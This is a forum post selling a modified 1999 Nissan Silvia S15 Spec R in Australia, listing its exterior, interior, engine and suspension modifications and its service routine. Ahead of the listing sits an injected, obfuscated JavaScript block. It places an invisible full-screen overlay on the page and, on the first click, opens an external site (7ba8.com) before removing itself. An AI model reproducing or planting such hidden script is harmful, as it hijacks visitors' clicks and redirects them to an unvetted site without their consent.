<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>Up for sale is my pride and joy, a 1999 Nissan Silvia S15 Spec R. I purchased the car from my friend who imports cars from Japan, I am the first owner in Australia. This car has been a weekend car since I purchased it. It is heaps modifications yet I have kept in mind while modifying it that it has to also be not attracting any unwanted attention like you see most modified cars do these days. The car drives great on the road and has an aggressive and sporty look. The car is washed weekly, garaged when not being used and serviced every 3000km. Reason I am selling is I have finished study and going back to home country. In saying this, I am not interested in swaps of any kind.
Modifications to this car include:
Exterior:
- Very rare genuine JDM Aero kit with fog lights
- 17” Impul NS-01R all round
- Bridgestone RE-11A Tyres with lots of meat (F: 235/45R17 R:255/40R17)
- Darkest Legal Window Tint
- Clear Red LED Tail Lights
- Nismo horn
Interior:
- Nismo Shift Knob
- xtrons 7” double din 7” Touch Screen Headunit (DVD, Bluetooth, iPod, GPS etc)
- Replica Bride Low-Max Reclinable Racing Seats(Rails bought from Grizzly Import)
- 2-way car alarm security system
Engine:
- HKS Pod Filter
- HKS Front pipe
- HKS Dump pipe
- HKS Silent Hi-power cat back exhaust
- 3” Test pipe
- Aftermarket header
- HKS 740cc injectors
- Bosch 044 Fuel Pump
- Blitz SE Intercooler Kit
- Blitz Turbo Timer
- GReddy Boost Controller
- Apexi Power FC (Tuned by Morpowa)
- Z32 AFM
- Aftermarket actuator
- Oil Cooler kit with filter relocation
- ASI Super Cooling 42mm 2 row Aluminum Radiator
- Engine Damper
- Brand new battery with 24-month warranty
Suspension/Handling:
- BC Racing BR Type Coilover Suspension Kit
- Nismo Castor Rods
- Nismo front and rear strut bars
- Nismo 2 way LSD with 4.1 Final Drive
- HICAS Eliminator Kit
- All round DBA 4000 series T3 brake discs
- Front Project mu Spec B brake pads with 80% left
- Rear Endless MX72 brake pads with 60% left
Regular Vehicle Service:
- Motul 300V 10W40 with K&N oil filter every 3000km and NGK iridium spark plugs every two services
- Brake Fluid: Motul RBF 600 every year
- Gearbox: Redline Lightweight Shockproof every year
- LSD: Motul Gear Competition every year
- Coolant: Tectaloy XTRA Cool Gold every year
All fluid and oil has been changed in August. Will provide engine oil and oil filter change prior the deal.
This car is definitely one of the cleanest S15 you could have found in Australia with extra care and only the best stuff are used on it. The car has been tuned three times by two tuning shops to get the optimum outcome.
I have most of the stock parts with me since the car was completely stock when I got it. Please don't hesitate to contact me, I am happy to answer any questions or concerns you have.
Inspections are more than welcome. Please text for pictures as I don't know how to post pictures here. Price is negotiable.
|
收藏
楼主